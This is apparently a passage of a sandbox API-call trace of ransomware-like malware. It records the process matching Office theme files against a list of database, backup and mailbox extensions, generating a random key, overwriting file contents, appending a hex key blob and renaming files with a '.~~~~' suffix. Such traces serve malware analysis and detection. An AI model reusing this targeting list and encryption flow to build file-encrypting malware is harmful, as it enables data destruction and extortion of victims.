	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".sdf") returned 0x0
	[0086.134] lstrlenW (lpString=".accdb") returned 6
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".accdb") returned 0x0
	[0086.134] lstrlenW (lpString=".DBX") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DBX") returned 0x0
	[0086.134] lstrlenW (lpString=".MDT") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".MDT") returned 0x0
	[0086.134] lstrlenW (lpString=".SQB") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".SQB") returned 0x0
	[0086.134] lstrlenW (lpString=".vhd") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".vhd") returned 0x0
	[0086.134] lstrlenW (lpString=".bac") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".bac") returned 0x0
	[0086.135] lstrlenW (lpString=".mdf") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".mdf") returned 0x0
	[0086.135] lstrlenW (lpString=".BAK") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".BAK") returned 0x0
	[0086.135] lstrlenW (lpString=".BAC") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".BAC") returned 0x0
	[0086.135] lstrlenW (lpString=".dbs") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dbs") returned 0x0
	[0086.135] lstrlenW (lpString=".vhdx") returned 5
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".vhdx") returned 0x0
	[0086.135] lstrlenW (lpString=".NDF") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".NDF") returned 0x0
	[0086.135] lstrlenW (lpString=".dat") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dat") returned 0x0
	[0086.135] lstrlenW (lpString=".DBS") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DBS") returned 0x0
	[0086.135] lstrlenW (lpString=".CKP") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".CKP") returned 0x0
	[0086.135] lstrlenW (lpString=".edb") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".edb") returned 0x0
	[0086.135] lstrlenW (lpString=".PST") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".PST") returned 0x0
	[0086.135] lstrlenW (lpString=".dbf") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dbf") returned 0x0
	[0086.135] lstrlenW (lpString=".SQL") returned 4
	[0086.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".SQL") returned 0x0
	[0086.136] lstrlenW (lpString=".pst") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".pst") returned 0x0
	[0086.136] lstrlenW (lpString=".dbv") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dbv") returned 0x0
	[0086.136] lstrlenW (lpString=".SDF") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".SDF") returned 0x0
	[0086.136] lstrlenW (lpString=".dtxs") returned 5
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dtxs") returned 0x0
	[0086.136] lstrlenW (lpString=".db3") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".db3") returned 0x0
	[0086.136] lstrlenW (lpString=".OST") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".OST") returned 0x0
	[0086.136] lstrlenW (lpString=".dbx") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dbx") returned 0x0
	[0086.136] lstrlenW (lpString=".DB3") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DB3") returned 0x0
	[0086.136] lstrlenW (lpString=".DAT") returned 4
	[0086.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DAT") returned 0x0
	[0086.136] lstrlenW (lpString=".VHDX") returned 5
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".VHDX") returned 0x0
	[0086.137] lstrlenW (lpString=".ndf") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".ndf") returned 0x0
	[0086.137] lstrlenW (lpString=".DB") returned 3
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DB") returned 0x0
	[0086.137] lstrlenW (lpString=".sql") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".sql") returned 0x0
	[0086.137] lstrlenW (lpString=".MYD") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".MYD") returned 0x0
	[0086.137] lstrlenW (lpString=".DBT") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DBT") returned 0x0
	[0086.137] lstrlenW (lpString=".ACCDB") returned 6
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.137] lstrlenW (lpString=".fdb") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".fdb") returned 0x0
	[0086.137] lstrlenW (lpString=".bak") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".bak") returned 0x0
	[0086.137] lstrlenW (lpString=".myd") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".myd") returned 0x0
	[0086.137] lstrlenW (lpString=".DTXS") returned 5
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DTXS") returned 0x0
	[0086.137] lstrlenW (lpString=".ckp") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".ckp") returned 0x0
	[0086.137] lstrlenW (lpString=".dbt") returned 4
	[0086.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dbt") returned 0x0
	[0086.137] lstrlenW (lpString=".db") returned 3
	[0086.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".db") returned 0x0
	[0086.138] lstrlenW (lpString=".TXT") returned 4
	[0086.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".TXT") returned 0x0
	[0086.138] lstrlenW (lpString=".MDF") returned 4
	[0086.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".MDF") returned 0x0
	[0086.138] lstrlenW (lpString=".bdb") returned 4
	[0086.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".bdb") returned 0x0
	[0086.138] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.138] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.139] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.139] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.139] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20612939025) returned 1
	[0086.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d269ed0, dwHighDateTime=0x1d60e1e)) 
	[0086.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a66d8
	[0086.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a66d8 | out: hHeap=0x300000) returned 1
	[0086.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f43b8
	[0086.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f43b8 | out: hHeap=0x300000) returned 1
	[0086.140] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.140] GetLastError () returned 0x0
	[0086.140] GetLastError () returned 0x0
	[0086.140] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.140] GetLastError () returned 0x0
	[0086.141] GetLastError () returned 0x0
	[0086.143] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffeb3c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.144] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x14c40, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x14c40, lpOverlapped=0x0) returned 1
	[0086.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.144] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.144] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.144] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.144] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.145] CloseHandle (hObject=0x120) returned 1
	[0086.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.~~~~")) returned 1
	[0086.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.146] GetLastError () returned 0x0
	[0086.146] RtlWakeConditionVariable () returned 0x365f70
	[0086.146] GetCurrentThreadId () returned 0x9f4
	[0086.146] GetCurrentThreadId () returned 0x9f4
	[0086.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0086.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0086.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a66a0 | out: hHeap=0x300000) returned 1
	[0086.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0086.146] lstrlenW (lpString=".scr") returned 4
	[0086.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".scr") returned 0x0
	[0086.146] lstrlenW (lpString=".cmd") returned 4
	[0086.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".cmd") returned 0x0
	[0086.146] lstrlenW (lpString=".dll") returned 4
	[0086.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dll") returned 0x0
	[0086.147] lstrlenW (lpString=".bat") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".bat") returned 0x0
	[0086.147] lstrlenW (lpString=".cpl") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".cpl") returned 0x0
	[0086.147] lstrlenW (lpString=".sys") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".sys") returned 0x0
	[0086.147] lstrlenW (lpString=".msc") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".msc") returned 0x0
	[0086.147] lstrlenW (lpString=".com") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".com") returned 0x0
	[0086.147] lstrlenW (lpString=".lnk") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".lnk") returned 0x0
	[0086.147] lstrlenW (lpString=".msp") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".msp") returned 0x0
	[0086.147] lstrlenW (lpString=".pif") returned 4
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".pif") returned 0x0
	[0086.147] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.162] lstrlenW (lpString=".sqb") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".sqb") returned 0x0
	[0086.162] lstrlenW (lpString=".ost") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".ost") returned 0x0
	[0086.162] lstrlenW (lpString=".txt") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".txt") returned 0x0
	[0086.162] lstrlenW (lpString=".mdt") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".mdt") returned 0x0
	[0086.162] lstrlenW (lpString=".BDB") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".BDB") returned 0x0
	[0086.162] lstrlenW (lpString=".eql") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".eql") returned 0x0
	[0086.162] lstrlenW (lpString=".DBF") returned 4
	[0086.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DBF") returned 0x0
	[0086.163] lstrlenW (lpString=".EQL") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".EQL") returned 0x0
	[0086.163] lstrlenW (lpString=".FDB") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".FDB") returned 0x0
	[0086.163] lstrlenW (lpString=".EDB") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".EDB") returned 0x0
	[0086.163] lstrlenW (lpString=".DACPAC") returned 7
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DACPAC") returned 0x0
	[0086.163] lstrlenW (lpString=".VHD") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".VHD") returned 0x0
	[0086.163] lstrlenW (lpString=".DBV") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DBV") returned 0x0
	[0086.163] lstrlenW (lpString=".dacpac") returned 7
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dacpac") returned 0x0
	[0086.163] lstrlenW (lpString=".sdf") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".sdf") returned 0x0
	[0086.163] lstrlenW (lpString=".accdb") returned 6
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".accdb") returned 0x0
	[0086.163] lstrlenW (lpString=".DBX") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DBX") returned 0x0
	[0086.163] lstrlenW (lpString=".MDT") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".MDT") returned 0x0
	[0086.163] lstrlenW (lpString=".SQB") returned 4
	[0086.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".SQB") returned 0x0
	[0086.163] lstrlenW (lpString=".vhd") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".vhd") returned 0x0
	[0086.164] lstrlenW (lpString=".bac") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".bac") returned 0x0
	[0086.164] lstrlenW (lpString=".mdf") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".mdf") returned 0x0
	[0086.164] lstrlenW (lpString=".BAK") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".BAK") returned 0x0
	[0086.164] lstrlenW (lpString=".BAC") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".BAC") returned 0x0
	[0086.164] lstrlenW (lpString=".dbs") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dbs") returned 0x0
	[0086.164] lstrlenW (lpString=".vhdx") returned 5
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".vhdx") returned 0x0
	[0086.164] lstrlenW (lpString=".NDF") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".NDF") returned 0x0
	[0086.164] lstrlenW (lpString=".dat") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dat") returned 0x0
	[0086.164] lstrlenW (lpString=".DBS") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DBS") returned 0x0
	[0086.164] lstrlenW (lpString=".CKP") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".CKP") returned 0x0
	[0086.164] lstrlenW (lpString=".edb") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".edb") returned 0x0
	[0086.164] lstrlenW (lpString=".PST") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".PST") returned 0x0
	[0086.164] lstrlenW (lpString=".dbf") returned 4
	[0086.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dbf") returned 0x0
	[0086.165] lstrlenW (lpString=".SQL") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".SQL") returned 0x0
	[0086.165] lstrlenW (lpString=".pst") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".pst") returned 0x0
